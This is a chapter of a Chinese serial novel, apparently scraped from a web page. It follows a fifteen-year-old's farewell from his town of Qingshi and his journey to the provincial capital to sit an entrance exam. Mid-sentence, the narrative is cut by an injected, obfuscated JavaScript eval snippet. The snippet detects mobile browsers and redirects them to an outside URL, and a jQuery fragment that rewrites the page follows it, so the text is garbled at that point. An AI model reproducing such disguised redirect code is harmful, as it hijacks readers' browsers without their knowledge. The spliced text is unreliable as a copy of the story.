离别的日子来得比想象中快。
九月初九，重阳。按照青石镇的习俗，这天要登高、赏菊、饮菊花酒。但今年，街坊们聚在张家院子里，既是为了过节，也是为了给张静轩送行。
院子里的老槐树下摆开了几张八仙桌，桌上堆满了吃食——周婶蒸的桂花糕，王寡妇炸的麻团，李铁匠家卤的豆干，还有陈老秀才特意让家里送来的菊花酒。街坊们来了一拨又一拨，有的拎着鸡蛋，有的揣着干果，有的什么都没带，只是拍拍张静轩的肩，说一句“到了省城，好好的”。
张静轩穿着母亲新做的学生装——藏青色，立领，袖口和衣襟滚着细密的针脚。衣裳很合身，但穿在身上，总觉得沉甸甸的，压着心口。
苏宛音和程秋实也来了。程秋实额头的纱布已经拆了，留下一道浅粉色的疤痕。他递过来一个布包：“静轩，这是我和苏先生给你准备的。”
布包里是几本书——《新青年》的合订本，胡适的《尝试集》，还有一本英文的《格致读本》。书都不新了，边角磨损，页间有批注，显然是反复翻阅过的。
“这些书，我们在师范学堂时读的。”苏宛音轻声说，“省城的学校可能会教得更深，但这些是根基。有空翻翻，别丢了根本。”
“谢谢先生。”张静轩躬身接过。
程秋实又从怀里掏出个小本子：“这是我这几天整理的，学堂这一年多的教学心得。你到了省城，若有机会见到更好的先生、更好的教法，记下来，将来……也许咱们青石镇的学堂能用上。”
本子不厚，但每一页都写得密密麻麻。张静轩翻了几页，看见熟悉的字迹记录着每个学生的特点、教学中的困惑、尝试过的方法……这是程秋实的心血。
“程先生，您……”
“我没事。”程秋实笑了笑，“伤好了，课还得上。你走了，学堂的孩子我们会照顾好。你只管放心去，学成了，回来教他们更好的。”
张静轩重重点头，把本子小心收进行囊。
水生和小莲也来了。水生手里捧着个瓦罐，罐口用红布扎着：“静轩哥，这是俺娘腌的酱菜，省城的菜贵，你带着下饭。”
小莲不说话，只是递过来一个香囊，针脚歪歪扭扭，绣着朵荷花：“静轩哥，这是俺绣的……不好看，你别嫌弃。”
张静轩接过。香囊里装着晒干的桂花，香气清甜。他蹲下身，看着两个孩子：“水生，小莲，我走了，你们要好好念书。水生，你算学好，但不能骄傲，要多帮帮其他同学。小莲，你心思细，要多开口，不懂就问。”
两个孩子点头，眼睛红红的。
“等我在省城安顿好了，给你们写信。”张静轩摸摸他们的头，“你们也要给我写信，告诉我学堂的事，告诉我青石镇的事。”
“嗯！”水生用力点头，“俺一定写！俺现在会写好多字了！”
正说着，门外传来马蹄声。福伯去开门，回来时身后跟着两个人——孟继尧和林文柏。
孟继尧今日穿了身灰色中山装，没戴眼镜，少了些书卷气，多了几分干练。林文柏还是学生打扮，背着那个小皮箱。
“孟先生，林督导。”张老太爷起身相迎。
“张公，打扰了。”孟继尧拱手，“静轩今日启程，我来送送。顺便……有些事要交代。”
众人让出位置。孟继尧在张静轩身边坐下，从怀里掏出个信封：“这是省立一中的插班考试准考证。考试在后天，你明天到省城，先住下，好好休息。考场地址、注意事项都在里面。”
张静轩接过信封。准考证是硬纸的，盖着学校的钢印。
“考试科目有国文、算学、英文、格致。”孟继尧继续说，“国文和算学你应该没问题，英文和格致……省城的教学进度可能比青石镇快，但别慌，考的是基础。”
“我尽力。”
“还有这个。”孟继尧又递过来一张纸，“这是我在省城的住址和电话。到了省城，安顿下来后，给我打个电话——或者去‘福顺昌’商号，让他们传话也行。有什么事，随时找我。”
纸上写得很详细。张静轩收好，心里踏实了些。
“孟先生，”张静远问，“省城那边……名单的事处理得怎么样了？”
提到这个，孟继尧神色凝重了些：“孙维民已经正式起诉，关在省监狱，等待审判。名单上的其他人……正在调查取证阶段。有些顺利，有些遇到阻力。但总体在推进。”
“有危险吗？”张老太爷问。
“有。”孟继尧坦然道，“所以我才建议静轩去省城读书——青石镇目标太小，容易成为靶子。省城人多眼杂，反而安全些。而且……”他看向张静轩，“你去了省立一中，那是全省最好的学校，安保也严格，一般人不敢在那里动手。”
原来还有这层考虑。张静轩心里一暖。
“那‘菊与刀’……”张静远压低声音。
孟继尧摇头：“这个更复杂。日本方面的线索断了，赵全禄一死，很多线就断了。但‘刀’在国内的残余还在活动，我们的人在跟。这事……急不得。”
众人沉默。阳光从槐树叶隙漏下来，在地上投出斑驳的光影。院子里的热闹仿佛隔了一层，桌上的桂花糕还冒着热气，菊花酒的香气在空气里飘散。
“不说这些了。”孟继尧起身，端起酒杯，“今天给静轩送行，该说些高兴的。来，我敬静轩一杯——祝你此去省城，学业有成，鹏程万里！”
众人举杯。张静轩不会喝酒，以茶代酒，一饮而尽。茶水微苦，回甘绵长。
宴席持续到午后。街坊们陆续散去，院子里只剩下张家人和孟继尧、林文柏。
孟继尧和张老太爷、张静远在书房又说了会儿话，出来时，脸色轻松了些。他走到张静轩面前：“静轩，该走了。马车在外面等着，天黑前要赶到省城。”
离别的时候真的到了。福伯帮着张静轩最后检查行装，将一包沉甸甸的银子仔细缝进棉袄内衬。
老人粗糙的手指有些颤抖，低声道：“小少爷，省城龙蛇混杂，不比家里。老爷和孟先生交代的话，您要记牢。有些事，看见了就当没看见；有些人，笑呵呵的，心里藏的可能是刀子。”
张静轩握住福伯的手：“福伯，我晓得。”
福伯抬眼，望向院门外喧闹的街道，声音压得更低：“还有……秦先生那件事，水太深。孟科长在查，您就……先顾好自己。我总觉得，这事儿没完，怕是有眼睛，已经盯上咱们张家了。”
张静轩顺着他的目光望去，院门外人来人往，几个货郎正在叫卖，一切如常。但福伯的话，像一颗石子投入心湖，让原本离别的伤感，蒙上了一层隐约的不安。
张静轩背起行囊——不大，几件衣服，几本书，一些干粮，还有街坊们送的那些零零碎碎。他走到父亲面前，跪下，磕了三个头。
“爹，我走了。”
张老太爷扶起他，眼眶微红，但没流泪：“去吧。记住，张家的儿郎，站要直，心要正。无论走到哪儿，别丢了本分。”
“孩儿记住了。”
又走到大哥面前。张静远拍拍他的肩：“保重。写信。”
“嗯。大哥，你的腿……”
“快好了。”张静远笑，“等你放假回来，咱们比箭。”
“好。”
最后，他环视这个院子——老槐树，石凳，月洞门，檐下的燕子窝。每一个角落，都刻着十五年的记忆。
他转身，走出院门。
门外停着两辆马车。前面一辆是孟继尧的，黑漆车身，篷布深蓝。后面一辆小些，是给张静轩准备的，车夫是福伯找的熟人，姓郑，常跑省城这条线。
“上车吧。”孟继尧说，“我送你到镇口。”
张静轩上了后面那辆车。车帘放下前，他最后看了一眼家门——父亲、大哥、母亲、福伯都站在门口，街坊们也聚在巷口，挥着手。
马车动了。轱辘压在青石板上，咯噔咯噔，声音熟悉又陌生。
穿过熟悉的街道——早点铺子、铁匠铺、杂货店、书铺……每一家他都认得，每一个招牌他都叫得出名字。路过学堂时，他掀开车帘看了一眼。西厢的窗户开着，能看见里面整齐的桌椅。今天学堂放假，但苏宛音和程秋实应该在备课。
路过祠堂废墟时，他让车夫停了一下。
废墟已经清理了大半，地基也挖好了。新运来的青砖码得整整齐齐，梁木堆在一旁，散发着松木的清香。几个汉子还在干活，看见马车，直起身子望过来。
张静轩下了车，走到废墟中央。这里曾经是祠堂正殿，秦先生藏名单的地方，也是赵全禄放火自焚的地方。如今，焦土被铲平，露出下面新鲜的泥土。
他从怀里掏出一个小布包，蹲下身，挖了个浅坑，把布包埋进去。
里面是那枚烧变形的乾隆通宝，还有半片烧焦的槐树叶。
算是个念想。
埋好土，他站起身，拍了拍手上的灰。远处，青云河的水声隐隐约约，像在送别。
重新上车，马车继续前行。出了镇子，路就变成了黄土路。回头望，青石镇的轮廓在秋日晴空下渐渐模糊，最后只剩一片青灰色的影子，贴在天地交
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238565|196314||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
接处。
孟继尧的车在前面带路。约莫走了十里，到了一个岔路口，前面的车停了。
孟继尧下车走过来：“静轩，我就送到这儿了。前面路好走，郑师傅熟，你放心。”
“孟先生，谢谢您。”
“别谢我。”孟继尧看着他，“是你自己挣来的路。静轩，记住我一句话：到了省城，多看，多听，多想，但别轻易说。省城不比青石镇，人心复杂，说话做事都要谨慎。”
“我记住了。”
“还有，”孟继尧顿了顿，“秦先生的事，还没完。名单上那些人，我会一个一个揪出来。但这条路长，需要时间。你在省城好好读书，将来……或许能帮上忙。”
张静轩重重点头：“我会努力。”
“好。”孟继尧拍拍车辕，“走吧。一路顺风。”
马车重新上路。张静轩掀开车帘回头，看见孟继尧还站在岔路口，身影在秋阳下拉得很长。
路越来越陌生。两旁的田野换成了山林，青云河在远处时隐时现。张静轩靠在车厢里，闭着眼，但睡不着。脑子里像过戏一样，闪过这几个月的事——开学，射箭，泼粪，抓马三，救孩子，找账本，祠堂大火……
每一件都惊心动魄，每一件都刻骨铭心。
车夫郑师傅是个话少的人，一路沉默。直到午后，马车在一处茶棚停下歇脚，郑师傅才开口：“张少爷，喝口茶吧。前面还有三十里，天黑前能到。”
茶棚很简陋，但茶是热的。张静轩捧着粗瓷碗，小口喝着。茶棚里还有其他客人，两个挑担的货郎，一个戴礼帽的商人，都在低声说话。
“听说了吗？省城出大事了。”货郎之一说。
“什么事？”
“教育厅的孙督导，被抓了！说是……通敌卖国！”
“真的假的？”
“千真万确！我有个亲戚在省监狱当差，亲眼看见押进去的。据说牵扯了好多人，从省城到京城，都有……”
张静轩低头喝茶，不动声色。孙维民被抓的消息传得真快。
“还有更邪乎的，”另一个货郎压低声音，“听说青石镇那边，祠堂被烧了，死了人！”
“怎么回事？”
“不清楚。但都说跟孙督导的案子有关……反正，最近不太平，咱们跑生意得多留神。”
正听着，茶棚外又来了辆马车。车停稳，下来两个人——一个穿着绸衫的中年胖子，一个提着箱子的随从。胖子进了茶棚，要了壶茶，坐下时，目光在张静轩身上停留了片刻。
张静轩心里一紧。那眼神……不像普通人。
他放下茶碗，起身：“郑师傅，咱们走吧。”
“好嘞。”
马车继续上路。张静轩从车窗往后看，那辆马车没跟来，松了口气。也许是自己多心了。
傍晚时分，省城的轮廓出现在地平线上。城墙高耸，城门洞开，进出的车马行人络绎不绝。和青石镇不同，这里的喧嚣是扑面而来的——汽车喇叭声、电车叮当声、小贩叫卖声、还有各种听不懂的方言，混在一起，像一锅煮沸的汤。
郑师傅熟门熟路，赶着车从南门进城。城里的景象让张静轩眼花缭乱——宽阔的马路，三四层高的楼房，商店橱窗里摆着洋货，穿着旗袍烫着卷发的女人，西装革履的男人，还有穿着制服的学生……
这就是省城。一个完全陌生的世界。
马车在一家客栈前停下。客栈不大，但干净，叫“悦来客栈”。郑师傅帮张静轩卸下行囊：“张少爷，孟先生交代了，让您住这儿。掌柜的姓王，是自己人，有事找他。”
果然，王掌柜是个和善的中年人，见了张静轩，笑眯眯的：“张少爷是吧？房间给您准备好了，二楼靠里那间，安静。晚饭一会儿给您送上去。”
房间确实不错，一床一桌一椅，窗明几净。推开窗，能看见客栈后院的天井，种着几盆菊花，开得正好。
张静轩放下行囊，坐在床边，长长吐出一口气。
到了。他真的到了省城。
明天要考试，今晚要温书。他从行囊里取出书本，摊在桌上。国文、算学、英文、格致……一科一科看过去。
窗外，省城的夜晚灯火通明。远处有留声机的歌声飘来，软绵绵的，听不清词。更夫的梆子声也有，但被市井的喧嚣盖住了大半。
张静轩点亮油灯，开始看书。灯光昏黄，在陌生的房间里，照着他十五岁的脸。
他想起了青石镇的夜。安静，只有更夫的梆子声，和青云河的水声。
两个世界。而他，站在中间。